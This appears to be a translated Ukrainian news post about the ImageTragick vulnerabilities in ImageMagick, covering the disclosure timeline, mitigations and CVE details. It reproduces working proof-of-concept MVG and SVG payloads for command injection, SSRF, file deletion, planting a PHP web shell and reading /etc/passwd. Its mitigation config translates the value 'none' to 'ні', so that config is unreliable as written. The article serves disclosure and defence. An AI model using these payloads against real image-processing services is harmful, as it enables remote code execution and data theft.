Безліч вразливостей в ImageMagick, одна з яких веде до RCE

Кілька годин тому Ryan Huber з відділу безпеки Slack анонсував якусь критичну вразливість в софті, що використовується безліччю сайтів. Цим софтом виявився ImageMagick — популярний пакет для обробки зображень.
Коротка інформація про уразливості розміщена на сайті imagetragick.com. Так, без назви і сайту для уразливості не обійшлося і цього разу, хоча спочатку Райан писав, що ніякого пафосу, включаючи назву та сайт, не буде. (є ще і twitter)
Уразливість була виявлена stewie і розкрита на hackerone 21 квітня в репорте, по всій видимості, Mail.ru, бо приблизно через тиждень після цього Микола Ермишкин з команди безпеки Мейлі знайшов можливість виконати RCE. Про все це, само собою, повідомили команді розробки IM. Ті 30 квітня випустили фікс, але вже 1 травня їм повідомили, що фікс трошки не фікс. Тому 2 травня вразливість розкрили в листі розсилки розробників пакетів, заснованих на IM, а 3 травня вразливість розкрили публічно. Через кілька годин після цього на openwall з'явилося докладний опис з прикладами експлойтів. Але про це трохи нижче.
Перш за все, варто помітити, що ваш сайт (ймовірно) схильний цим вразливостей не тільки якщо ви використовуєте IM безпосередньо, але і через різні пакети, включаючи imagick в PHP, rmagick і paperclip Ruby і imagemagick в nodejs.
Як захиститися?
Для того, щоб хоч якось захиститися, пропонується зробити хоча б одну з двох наступних речей (а краще — обидві).
  • перш, ніж відправити зображення на обробку IM, перевірити його «магічні байти» — послідовність байтів, за якої програми визначають формат файлу. Так, розширення може не грати ніякої ролі, так як IM сам визначає формат саме з цієї послідовності.
  • виберіть конфіг, відключає схильні до вразливостей декодери. Файл повинен виглядати приблизно так
<policymap>
<domain policy="coder" rights="ні" pattern="EPHEMERAL" />
<domain policy="coder" rights="ні" pattern="URL" />
<domain policy="coder" rights="ні" pattern="HTTPS" />
<domain policy="coder" rights="ні" pattern="MVG" />
<domain policy="coder" rights="ні" pattern="MSL" />
</policymap>

Конфіги для IM зазвичай лежать в
/etc/ImageMagick
. Для ansible напилили playbook, додає цей конфіг.
Як вже говорилося вище, патч до IM вже готовий, але він неповний. Справа в тому, що, як зазначають дослідники, уразливість була знайдена хакерами раніше і вже щосили експлуатується.
Подробиці вразливостей і експлуатація
поста Каріма Валієва (Мейл) на openwall. Всі PoC обіцяють розмістити на https://github.com/ImageTragick/PoCs (поки що 404).

CVE-2016-3714 Недостатнє екранування символів, що веде до можливого RCE

Тут проблема в тому, то в IM є фіча
delegate
, за допомогою якої IM дозволяє обробляти файли зовнішніми бібліотеками. По суті це виклик
system()
з командним рядком з файлу delegates.xml. Одна з дефолтних команд
"wget" -q -O "%o" "https:%M"

де %M посилання з вхідного потоку. Наприклад, можна прокинути
https://example.com"|ls "-la
, що призведе до виконання
ls -la
(повинні бути встановлені wget або curl).
$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

Найгірше те, що IM підтримує формати типу
svg, mvg, які дозволяють включати зовнішні файли через будь-які підтримувані «делегатами» протоколи.
(exploit.mvg)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

(exploit.svg)
<?xml version="1.0" standalone="ні"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

Це одразу нагадало мені про недавню уразливість в ffmpeg, знайдену cdump з того ж Мейлі, до речі.

CVE-2016-3718 SSRF. Можливо виконати HTTP GET і FTP запити

(ssrf.mvg)
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

$ convert ssrf.mvg out.png # виконається HTTP запит до example.com

CVE-2016-3715 Видалення файлів

За допомогою псевдо-протоколу
ephemeral
можливо видаляти файли.
(delete_file.mvg)
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # видалить /tmp/delete.txt

CVE-2016-3716 Переміщення файлів

Використовується інший псевдо-протокол —
msl
.
(file_move.mvg)
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

(/tmp/msl.txt)
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif
— картинка з PHP-шеллом всередині, наприклад, https://www.secgeek.net/POC/POC.gif .
$ convert file_move.mvg out.png # перемістить /tmp/image.gif в /var/www/shell.php

CVE-2016-3717 Читання локальних файлів

Знову псевдо-протокол, на цей раз
label
. Можна рендери вміст файлів в картинки.
(file_read.mvg)
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

$ convert file_read.mvg out.png # створить файл з текстом з /etc/passwd

Мета
  • Dominique Bongard жартує, що попереджав ще в 2014 році. Ось так виглядає один із слайдів його доклада з BlackHat 2014:
image


Пост буде доповнюватися з появою нових подробиць.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.